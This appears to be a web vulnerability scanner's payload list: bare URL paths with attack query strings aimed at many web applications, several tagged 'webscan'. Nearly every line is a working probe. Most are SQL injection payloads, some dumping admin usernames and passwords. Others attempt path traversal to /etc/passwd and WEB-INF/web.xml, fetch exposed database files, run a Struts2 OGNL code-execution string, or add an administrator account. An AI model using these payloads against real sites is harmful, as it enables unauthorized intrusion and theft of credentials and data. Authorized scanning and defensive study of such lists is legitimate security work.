/Channel/ChannelList.aspx?a=a&LicenseType=2'%20and/**/1=char(106)--
/Channel/SearchResult.aspx?ItemName=1'%20or%201%3Echar(106)%20--
/Channel/TableDownLoadList.aspx?deptid=0011')%20and/**/1=char(106)--
/CmxLogin.php?t=14431680671059
/Code/Common/SysCommonAttach.aspx?Method=GetNewID&IDs=isTrans&tabRecordId=1%27%20AND%201%3DCHAR%28106%29%20--
/Comm/UploadFile/webUpload.aspx?AttId=x.cer&FilePath=/../web
/CommPage/ShowImg.aspx?keycode=a&id=1&page=1%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(119)%7C%7CCHR(101)%7C%7CCHR(98)%7C%7CCHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(110)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)))%20FROM%20DUAL)%20--
/CommPage/imgbrowse.aspx?id=1&keycode=2'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(119)%7C%7CCHR(101)%7C%7CCHR(98)%7C%7CCHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(110)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)))%20FROM%20DUAL)%20--
/Comment/Comment.aspx?id=11'%20and%201=char(106)%20--
/CompHonorBig.asp?id=44%20and%201=12%20%20union%20select%201,'webscan',3,4,5%20from%20admin
/CompVisualizeBig.asp?id=-1%20union%20select%201,username%2bpassword,3,4,5%20from%20admin
/Conf/jsp/systembulletin/bulletinAction.do?operator=details&sysId=-30002%20UNION%20SELECT%201,concat(0x5E7C5E,md5(0x7765627363616e),0x5E7C5E,database(),0x7c,version()),3,4,5
/Consultant/zsklist.aspx?categoryNum=-004'%20and%201=char(106)%20--
/CorpInfo/CorpAchievementList_SG.aspx?CorpCode=1122'%20and%201=char(106)%20--
/CorpInfo/CorpAptitudeInfo.aspx?CorpCode=1122'%20and%201=char(106)%20--
/CorpInfo/CorpBaseInfo.aspx?CorpCode=1122'%20and%201=char(106)%20--
/CorpInfo/CorpDeBox.aspx?CorpCode=1122'%20and%201=char(106)%20--
/CorpInfo/CorpRewardsList.aspx?RewardsPunishment=1122&CorpCode=1122'%20and%201=char(106)%20--
/CorpInfo/CorpSendLeftTree.aspx?JoinID=1122&CorpCode=1122'%20and%201=char(106)%20--
/CorpInfo/PersonnelList.aspx?CorpCode=1122'%20and%201=char(106)%20--
/CorporateCulture/kaizen_download.aspx?file_id=1')%20and%20(select%20char(86)%2bchar(76))%3E0--
/Credit/ShowCorpCredit.aspx?CorpCode=1122'%20and%201=char(106)%20--
/DataBase/%23$DB.mdb
/Databases/0791idc.mdb
/Databases/asp99cms.mdb
/Default.aspx?item=1)%20and%201=(char(106)%2bchar(106))%20--
/DelAccessID.asp?AccessID=1'%20and%201=char(106)%20--&Datetime=
/Directory/iframeAgencyFunctions.jsp?department_no=1'%20UNION%20ALL%20SELECT%20NULL,CHR(58)%7C%7CCHR(113)%7C%7CCHR(110)%7C%7CCHR(116)%7C%7CCHR(58)%7C%7CCHR(97)%7C%7CCHR(58)%7C%7CCHR(113)%7C%7CCHR(117)%7C%7CCHR(112)%7C%7CCHR(58),NULL%20FROM%20DUAL--%20
/Directory/showLeader.jsp?LeadId=-1%20UNION%20ALL%20SELECT%20NULL,CHR(58)%7C%7CCHR(112)%7C%7CCHR(112)%7C%7CCHR(112)%7C%7CCHR(58)%7C%7CCHR(89)%7C%7CCHR(58)%7C%7CCHR(113)%7C%7CCHR(113)%7C%7CCHR(113)%7C%7CCHR(58),NULL,NULL,NULL,NULL%20FROM%20DUAL--%20&department_id=null&department_name=&department_no=1
/Directory/showNsjg.jsp?NsjgId=-1%20UNION%20ALL%20SELECT%20NULL,CHR(58)%7C%7CCHR(112)%7C%7CCHR(112)%7C%7CCHR(112)%7C%7CCHR(58)%7C%7CCHR(85)%7C%7CCHR(58)%7C%7CCHR(113)%7C%7CCHR(113)%7C%7CCHR(113)%7C%7CCHR(58)%20FROM%20DUAL--%20&department_id=&department_name=&department_no=013628024
/Disaster/Reporting/ReportingDetail.aspx?ID=1'%20AND%203=CHAR(101)%2bCHAR(105)%2bCHAR(106)%20--
/Disaster/Reporting/ReportingInfo.aspx?oper=update&ID=1'%20AND%203=CHAR(101)%2bCHAR(105)%2bCHAR(106)%20--
/DocCenterService/image?photo_id=10443&photo_size=../../../../../../../../../../etc/passwd%00
/Documents/FolderInfor.asp?OAID=0%20or%201122=CONVERT(INT,(SELECT%20char(119)%2bchar(101)%2bchar(98)%2bchar(115)%2bchar(99)%2bchar(97)%2bchar(110)%2bchar(58)%2bchar(105)%2bchar(59)%2bchar(102)%2bchar(105)%2bchar(110)%2bchar(100)))%20--&Source=0
/Documents/FolderInfor.asp?POAID=0'%20or%201122=CONVERT(INT,(SELECT%20char(119)%2bchar(101)%2bchar(98)%2bchar(115)%2bchar(99)%2bchar(97)%2bchar(110)%2bchar(58)%2bchar(105)%2bchar(59)%2bchar(102)%2bchar(105)%2bchar(110)%2bchar(100)))%20--&Source=0
/DownloadShow.asp
/Duty/AjaxHandle/Jquery.autocomplete/AutocompleteContactByName.ashx?_=&q=313%25'%20AND%203=CHAR(106)%2bCHAR(99)%20--&limit=10&timestamp=
/Duty/MailList/ContactUpdate.aspx?ReadOnly=&UnitID=1&ContactID=-1+and+1=(SELECT%20CHAR(106))
/Duty/write/FileType.aspx?hideBtn=1&ID=1'%20and%201=char(86)%20--
/Edit/ShowEdit.aspx?Dir=../../&OpenWords=TxtTagKey
/EditPhotoHandle.aspx?Action=EditCover&PhotoId=(SELECT%20CHAR(106)%2bCHAR(107))
/Educational/Register.aspx?clientid=uName&uName=webscan'/**/and/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x7765627363616E3A666F756E643A76756C,floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a);%23
/ErrorInfDownLoad?errorName=/../../../../was/webroot/WEB-INF/web.xml
/Examples/Blog/index.php/abc/def/xxx/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D
/ExhibitionCenter.aspx?area=-12'%20and/**/1=char(106)/**/--
/ExportToExcel?method=txtDownload&destFile=/../../../../was/webroot/WEB-INF/web.xml
/ExtendForm/Down/Technological.aspx?id=1'%20and%201=char(106)%20--
/FAQ/FaqLoading.aspx?id=-1122%20and%201=char(106)
/FCKeditor/editor/filemanager/browser/default/browser.html/fckeditor/editor/dialog/fck_about.html
/FWeb/SPEWeb/Web5/SPEVideosDetail.aspx?KindSetID=30000&VideoID=105%20and%201=(SELECT%20CHAR(86)%2bCHAR(105))
/FWeb/WorkRoomWeb/Web/Index.aspx?TID=1002%20AND%208259%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2bCHAR%28108%29%2bCHAR%28105%29%2bCHAR%28117%29%2bCHAR%28113%29%2b%28SELECT%20%28CASE%20WHEN%20%288259%3D8259%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2bCHAR%28113%29%2bCHAR%28112%29%2bCHAR%28111%29%2bCHAR%28116%29%2bCHAR%28113%29%29%29
/FWeb/WorkRoomWeb/Web/TeacherBlog.aspx?tid=101%20AND%201=(SELECT%20CHAR(89)%2bCHAR(105))--
/FWeb/WorkRoomWeb/Web/TeacherBlogDetail.aspx?tid=101%20AND%201=(SELECT%20CHAR(106)%2bCHAR(79))&diaryID=1
/FWeb/WorkRoomWeb/Web/TeacherCourse.aspx?tid=101%20AND%201=(SELECT%20CHAR(89)%2bCHAR(105))--
/FWeb/WorkRoomWeb/Web/TeacherSource.aspx?tid=-1%20AND%201=(SELECT%20CHAR(106)%2bCHAR(67))%20--
/Factory/AjaxGetCSDM.aspx?CSDM=TEST'%20AND%201=CHAR(106)%20--&a=1.1
/FileEdit.php?fileType=word&FileId=-2%27%20and%20%28SELECT%201%20from%20%28select%20count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%20md5%281122%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%3B%23&filenumber=&officetype=1&uid=2&date=
/FileManages/FolderQxSet/FileModify.aspx?type=2&fileid=3%20and+1=char(106)%20--&path=/1
/FileManages/FolderQxSet/Modify.aspx?type=2&id=-12/**/and/**/1=char(106)--
/FileManages/NetworkDisk/QxSet1.aspx?id=38%20%20and+1=char(106)+--
/FormBuilder/PrintFormList.aspx?file_id=1)/**/UNION/**/ALL/**/SELECT/**/CHR(97)%7C%7CCHR(60)%7C%7CCHR(99),NULL/**/FROM/**/DUAL/**/--
/FormBuilder/yjzxList.aspx?id=1/**/UNION/**/ALL/**/SELECT/**/NULL,NULL,CHR(106)%7C%7CCHR(60)%7C%7CCHR(106)/**/FROM/**/DUAL--
/FromBaoShan/LaborSpecial/PlacardView.aspx?info_id=1/**/UNION/**/ALL/**/SELECT/**/CHR(106)%7C%7CCHR(106)%7C%7CCHR(106),NULL,NULL,NULL/**/FROM/**/DUAL--
/Global.asa
/Global.asax
/Global.asax.cs
/Goods-showcate-id-1.html'cfreer
/Guest/Baike/Details.aspx?soure=manager&tittle=1'/**/aNd/**/char(106)=1/**/--
/Help.aspx?id=(SELECT%20CHAR(106)%2bCHAR(103)%2bCHAR(105)%2bCHAR(100))
/HitCount.asp?LX=reer%20where%201=1%20union%20select%20Password%20from%20Admin
/Inc/conn.asp
/Include/DepartmentSet_Right.aspx?BI_ID=1'%20and%20(select%2b(char(106)%2bchar(120)%2bchar(106)%2bchar(120)))%3E0--
/Index.action?class.classLoader.jarPath=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),%2b%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23webscan=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23webscan.println(@java.lang.System@getProperty(%22java.vendor.url%22)%2b%22d4f800167a6e317f35454ed9024eb310%22%2b%22http%3A%2f%2fwebscan.360.cn%22),%23webscan.close())(aa)&x[(class.classLoader.jarPath)('aa')]
/InteractiveCommunication/ProjectList.aspx?sxname=1'%20and%20(char(106)%2bchar(59))=1%20and%20'%25'='
/Isv.ashx?action=addadmin&adminuser=admin&adminpassword=111111&guid=1
/Lesktop/Management/DeptEdit.aspx?did=1%20and%20char(106)%3E0
/Login.action?class.classLoader.jarPath=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),%2b%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23webscan=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23webscan.println(@java.lang.System@getProperty(%22java.vendor.url%22)%2b%22d4f800167a6e317f35454ed9024eb310%22%2b%22http%3A%2f%2fwebscan.360.cn%22),%23webscan.close())(aa)&x[(class.classLoader.jarPath)('aa')]
/Login.asp
/Login.aspx
/Login.aspx?APPSecret=-12'%20and%201=char(66)%20--
/Login.jsp
/Login.php
/LoginCheck4.asp?LoginLb=jwc&Account=1'%20AND%201=CHAR(106)%20--&PassWord=0
/MailExportDo.asp?dellist=-1234%29%20or%203438%3DCONVERT%28INT%2C%28SELECT%20CHAR%28119%29%2bCHAR%28101%29%2bCHAR%2898%29%2bCHAR%28115%29%2bCHAR%2899%29%2bCHAR%2897%29%2bCHAR%28110%29%2bCHAR%2858%29%2b%28SELECT%20%28CASE%20WHEN%20%288986%3D8986%29%20THEN%20CHAR%28105%29%20ELSE%20CHAR%2848%29%20END%29%29%2bCHAR%2858%29%2bCHAR%28102%29%2bCHAR%28105%29%2bCHAR%28110%29%2bCHAR%28100%29%29%29%20%20AND%20%281602%3D1602
/Manual/Manual.jsp?depid=-2550'%20UNION%20ALL%20SELECT%20NULL,CHR(113)%7C%7CCHR(116)%7C%7CCHR(109)%7C%7CCHR(103)%7C%7CCHR(113)%7C%7CCHR(112)%7C%7CCHR(105)%7C%7CCHR(82)%7C%7CCHR(76)%7C%7CCHR(100)%7C%7CCHR(99)%7C%7CCHR(76)%7C%7CCHR(99)%7C%7CCHR(71)%7C%7CCHR(83)%7C%7CCHR(113)%7C%7CCHR(97)%7C%7CCHR(97)%7C%7CCHR(122)%7C%7CCHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20DUAL--
/Map/AjaxHandler/AjaxMapCustomAction.ashx?action=GetParamVal&param=FaxUrl'%20and%202=(select%20char(118))%20--&dateForAjax=417
/MessageInfoDis.asp?VOID=26%20and%201122%3DCONVERT%28INT%2C%28SELECT%20CHAR%2884%29%2bCHAR%2897%29%2bCHAR%28105%29%2bCHAR%2887%29%2bCHAR%2897%29%2bCHAR%28110%29%2bCHAR%2858%29%2bCHAR%28103%29%2bCHAR%28111%29%2bCHAR%2858%29%2bCHAR%28104%29%2bCHAR%28111%29%2bCHAR%28109%29%2bCHAR%28101%29%29%29%20--
/MockLogin.aspx
/ModifyNewsAction.do?newsID=-12
/ModifyNewsAction.do?newsID=-12'%20and%20(select%201%20from%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a);%20%23
/ModifyNewsAction.do?newsID=364'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%20%23
/Modules/jycg/SFDB.aspx?sfpjnm=-12'%20UNION%20ALL%20SELECT%20NULL,NULL,CHAR(106)%2bCHAR(117)%2bCHAR(115)%2bCHAR(116)%2bCHAR(95)%2bCHAR(116)%2bCHAR(101)%2bCHAR(115)%2bCHAR(116),NULL%20--&type=1
/MoreIndex.aspx?pkId=6434&kw=a'%20and%201=char(106)%20--&st=2&t=1
/MyDocument/Serach.aspx?mess=as%25'/**/and%201=char(106)%20--
/NCFindWeb?service=IPreAlertConfigService&filename=../../../../../etc/passwd
/NOEXICT.php?A%27+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+concat(0x7e,md5(1122),0x7e)+from+user+limit+0,1)),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23
/NTBookAdvancedSearch.aspx?publishFrom=0&publishTo=0&KeyWord1=2&Index1=4&Index2=5&KeyWord2=11111&Index3=6&KeyWord3=just'%7C%7C(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(109)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(107)%7C%7CCHR(77)%7C%7CCHR(85)))%20FROM%20DUAL)%7C%7C'
/NTBookRetr.aspx?page=1&Index=2&LocLmt=&SrchTab=0&Acurate=0&KeyWord=1111'%7C%7C(SELECT%201%20FROM%20DUAL%20WHERE%202918=2918%20AND%205953=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(103)%7C%7CCHR(99)%7C%7CCHR(98)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(5953=5953)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(103)%7C%7CCHR(101)%7C%7CCHR(112)%7C%7CCHR(58)%7C%7CCHR(113)%7C%7CCHR(62)))%20FROM%20DUAL))%7C%7C'
/NTBookRetrNewBookDetail.aspx?page=1&Index=6&ClassKey=E'+and+1=(SELECT%201%20FROM%20DUAL%20WHERE%202918=2918%20AND%205953=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(103)%7C%7CCHR(99)%7C%7CCHR(98)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(5953=5953)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(103)%7C%7CCHR(101)%7C%7CCHR(112)%7C%7CCHR(58)%7C%7CCHR(113)%7C%7CCHR(62)))%20FROM%20DUAL))%20AND%20'1'='1
/NTBookRetrTopShowright.aspx?page=1&Index=6&LocLmt=&SrchTab=3&Acurate=3&Key='%7C%7CCTXSYS.DRITHSX.SN(user,(select%20CHR(106)%7C%7CCHR(106)%7C%7CCHR(106)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(106)%7C%7CCHR(106)%7C%7CCHR(106)%20from%20DUAL))%7C%7C'&AllName=A++
/NTClassDis.aspx?Index=6&KeyWord=1&ALLNAME=1&SrchTab=4&Index2=0&KeyWord2=just'%7C%7C(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(109)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(87)%7C%7CCHR(77)%7C%7CCHR(85)))%20FROM%20DUAL)%7C%7C'
/NTHoldingRetr.aspx?BIBNO=1&DISP=Holding&TABNAME=ILASBIBLIOS%20where%201=1%20AND%201883=(SELECT%201%20FROM%20DUAL%20WHERE%202918=2918%20AND%205953=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(103)%7C%7CCHR(99)%7C%7CCHR(98)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(5953=5953)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(103)%7C%7CCHR(101)%7C%7CCHR(112)%7C%7CCHR(58)%7C%7CCHR(113)%7C%7CCHR(62)))%20FROM%20DUAL))%20--
/NTRdrBookRetrInfo.aspx?BookRecno='%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(106)%7C%7Cchr(106)%7C%7Cchr(106)%7C%7Cchr(58)%7C%7Cchr(106)%7C%7Cchr(106)%7C%7Cchr(106)%7C%7Cchr(106)%20from%20DUAL))%7C%7C'
/NTRdrBookRetrInfo.aspx?BookRecno=18273&NewBIBNO=111%20AND%201122=(SELECT%20UPPER(XMLType(chr(60)%7C%7Cchr(119)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)))%20FROM%20DUAL)&NEWBOOK=newbook
/NTRdrS_RegistInfo.aspx?BookRecno=1'%20AND%209211=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(119)%7C%7CCHR(101)%7C%7CCHR(98)%7C%7CCHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(110)%7C%7CCHR(58)%7C%7CCHR(105)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)))%20FROM%20DUAL)%20AND%20'AT'='AT
/NewPortal/comment.aspx?type=4&targetid=-2'%20and%201=char(106)%20--
/NewPortal/content_show.aspx?contentid=-12'%20and%201=char(106)%20--
/NewPortal/download.aspx?fileid=-2'%20and%201=char(106)%20--
/NewsBolckSecondList.aspx?class=1&parentclass=-1'/**/and/**/1=char(106)--
/NewsClass.asp
/NewsList.asp
/News_search.asp?key=7%25'%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9,10%20from%20admin%20where%201%20or%20'%25'='&otype=title&Submit=%CB%D1%CB%F7
/NodeProdCategory.aspx?action=GetChildNode&CategoryId=(SELECT%20CHAR(119)%2bCHAR(101)%2bCHAR(98)%2bCHAR(115)%2bCHAR(99)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(105)%2bCHAR(59)%2bCHAR(102)%2bCHAR(105)%2bCHAR(110)%2bCHAR(100))
/OA/renshigongzi/modifyDangAn.asp?id=-1'%20UNION%20%20all%20SELECT%201,tname,null,null,null,0x7765627363616E3A693A66696E64,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20from%20teachers--
/OA/renshigongzi/xuexi.asp?tname=admin'%20UNION%20SELECT%201,2,0x66696E643A76756C,0x7765627363616E3A666F756E643A76756C,5,6,7%20from%20teachers--
/ObjSwitch/HYTZ.aspx?userid=11/**/AND/**/1122=(SELECT/**/UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT/**/(CASE/**/WHEN/**/(1122=1122)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))/**/FROM/**/DUAL)%20--
/Office_Supplies/Goods_Main.aspx?type=1&info_id=1/**/AND/**/1122=(SELECT/**/UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT/**/(CASE/**/WHEN/**/(1122=1122)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))/**/FROM/**/DUAL)%20--
/Open/DegreeStudentOpen.aspx?xsfl=aaa%27%20and%20@@version=0%20and%20%271%27=%271
/Open/ExpertInfo.aspx?zjbh=aaaa'%20and%20@@version=0%20and%20'1'='1
/OperationManage/BlogMoreIndex.aspx?pkId=&blogId=1&kw=abc'%20and%201=char(106)%20--&st=1&t=1
/OperationManage/ViewSecrecyGuestBookMessage.aspx?sn=-12'%20and%20(char(106)%2bchar(106))%3E0--&sp=amdin&oid=0&type=2
/Permission/Application_Query_List.aspx?deptName=3'%20and%201=char(106)%20--
/PersonalAffair/worklog_template_show.aspx?id=(select%20char(69)%2bchar(65))
/Personnel/Infomation.aspx?userid=1/**/AND/**/1122=(SELECT/**/UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT/**/(CASE/**/WHEN/**/(1122=1122)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))/**/FROM/**/DUAL)%20--
/Personnel/VacationComputation.aspx?id=11/**/AND/**/1122=(SELECT/**/UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT/**/(CASE/**/WHEN/**/(1122=1122)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))/**/FROM/**/DUAL)%20--
/Plan/FloodPlan/FileEdit.aspx?id=1'%20AND%20CHAR(106)%2bCHAR(109)%2bCHAR(106)%3E0--
/ProcManage/WebHouse/HousePic.aspx
/Product.asp
/ProductBuy.Asp
/ProductBuy.asp?UpdateOrder=%E6%9B%B4%E6%96%B0%E9%80%89%E6%8B%A9
/ProductShow.asp?ID=98%20and%201=1%20union%20select%201,'webscan',3,4,5,55221122,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20admin
/ProductUnSales.aspx?keywords=uio%2527&tagIds=1_2))%20T%20WHERE%201=1%20and%201=(select%20char(106)%2bchar(106))%20--%20&pageIndex=1
/ProjectManage/pm_gatt_inc.aspx?project_id=(select%20char(89)%2bchar(65))
/Project_SPInfoList.aspx?CategoryCode=1'%20and%201=char(106)%20--
/Public/GetPhoto.aspx?type=10&id=1111'%20and%20@@version=0%20and%20'1'='1
/R9iPortal/cm/cm_info_list.jsp?itype_id=3%20UNION%20ALL%20SELECT%2056,CHAR%28113%29%2bCHAR%28111%29%2bCHAR%28116%29%2bCHAR%2871%29%2bCHAR%2880%29%2bCHAR%2882%29%2bCHAR%2881%29%2bCHAR%2872%29%2bCHAR%28113%29%2bCHAR%28120%29%2bCHAR%28101%29,56,56,56,56,56,56,56,56,56--
/RCMANAGE_New/rcgl.aspx?UID=11/**/AND/**/1122=(SELECT/**/UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT/**/(CASE/**/WHEN/**/(1122=1122)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))/**/FROM/**/DUAL)%20--
/RdrRInforDetail.aspx?page=1&Index=4&KeyWord=AA'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(103)%7C%7CCHR(102)%7C%7CCHR(103)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(106)%7C%7CCHR(107)%7C%7CCHR(55)))%20FROM%20DUAL)%20--&name=r_infor&AcqSys=CN
/RdrRInforDetail.aspx?page=1&Index=4&KeyWord=a&AcqSys=CN&name=r_infor%20where%201=1%20AND%202046=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(113)%7C%7CCHR(58)%7C%7CCHR(103)%7C%7CCHR(109)%7C%7CCHR(113)%7C%7C(SELECT%20(CASE%20WHEN%20(2046=2046)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(113)%7C%7CCHR(58)%7C%7CCHR(117)%7C%7CCHR(104)%7C%7CCHR(113)%7C%7CCHR(62)))%20FROM%20DUAL)%20--
/RecruitstuManage/schoolinfo/DetailTheme.aspx?type=-1&topicid=1'%20and%201=char(106)%20--
/RegionHandle.aspx?action=GetChildNode&ParentId=(select%20%20(char(106)%2bchar(100)))
/Report/AjaxHandle/StationChoose/StationSearch.ashx?stationName=21')%20and%203=char(109)%20--&stationType='KKK','ZZ','PP','RR'&StationChooseType=Single&ReportID=Report16
/Report/AjaxHandle/StationChoose/StationTree.ashx?STTP='KKK')%20AND%201587=CONVERT(INT,(CHAR(58)%2bCHAR(117)))%20--&RadioType=Radio_XZ&ReportID=Report22
/ResultXml.aspx?column=banner&table=sys.v_$version%20where%20rownum=1--&k=jwc
/RuvarHRM/web_common/file_download.aspx?hr_file_storage_id=1')%20and%20(select%20char(106)%2bchar(106))%3E0--
/RuvarHRM/web_include/select_baseinfo.aspx?bt_name=1')%20%20and%20(char(106)%2bchar(106))%3E0--
/SH_Data/SH_DataBase.mdb
/SRP2003/UserManage/sysuser/modifypage.asp?id=1
/SSSweb/SuggestionCollection/PostSuggestion.aspx?ID=-1'%20and%201=char(106)%20--
/SSSweb/SuggestionCollection/PostSuggestion.aspx?ID=3'%20and%201=char(106)%20--
/ScoreProductSearchList.aspx?ProductCategoryID=12&Score1=2&Score2=3%20and%20char(106)=1%20--
/ScoreProductSearchList.aspx?ProductCategoryID=12&Score1=3%20and%20char(106)=1%20--
/ScoreProductSearchList.html?ProductCategoryID=12%20and%20%20@@version=1%20--
/Search.asp
/Search.asp?GetType=MainInfo&SubSys=SD&Keyword=1&s_area=1%20union%20select%20df3342ecbf86e257()
/SecondPages/infodetail.aspx?InfoId=-9631'%20UNION%20ALL%20SELECT%20NULL,CHAR%28113%29%2bCHAR%28112%29%2bCHAR%28113%29%2bCHAR%28115%29%2bCHAR%2881%29%2bCHAR%2858%29%2bCHAR%28109%29%2bCHAR%2858%29%2bCHAR%28113%29%2bCHAR%2898%29%2bCHAR%28119%29%2bCHAR%28109%29%2bCHAR%28113%29,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
/SelNews.aspx?NewsType=DongTaiNewsType=1'%20and%201=char(106)%20--
/Server/CmxGuide.php?pgid=Guide_List
/ShowFiles/WxShuoMing.aspx?equId=-12%20and%201122%3DCONVERT%28INT%2C%28CHAR%28104%29%2bCHAR%28107%29%2bCHAR%2858%29%2bCHAR%28105%29%2bCHAR%2858%29%2bCHAR%2849%29%2bCHAR%2857%29%2bCHAR%2857%29%2bCHAR%2855%29%29%29&wxid=4
/SubCategory.aspx?TagIds=1%20and%20char(106)%3E1
/SubmmitOrderHandler.aspx?Action=GetUserShippingAddress&ShippingId=2
/SupplyList.aspx?parentid=88&classid=-12%20and/**/1=char(106)/**/%20--%20
/SysAdmin/
/SysManage/MailSet/select_mail.aspx?corp_id=(select%20char(106)%2bchar(106))%20--
/SysManage/bbsSet/BoardInfo.aspx?board_id=-1'%20and%20(select%20char(106)%2bchar(106))%3E0--&level=1
/SysManage/departmentset_corpshow.aspx?bi_id=1'%20and%20(select%20char(106)%2bchar(106))%3E0--
/SysManage/get_department.aspx?corpID=char(106)%2bchar(106)
/SysManage/include/SelectUnderling.aspx?u_underling=(select%20char(106)%2bchar(106)))--'
/SysManage/role_setting_new.aspx?id=char(106)%2bchar(106)
/SysManage/role_show.aspx?role_id=char(106)%2bchar(106)
/SystemAdmin/
/SystemManage/
/SystemManage/AjaxHandle/AjaxVertifyUserID.ashx?uid=1'%20AND%201=CHAR(106)%20--
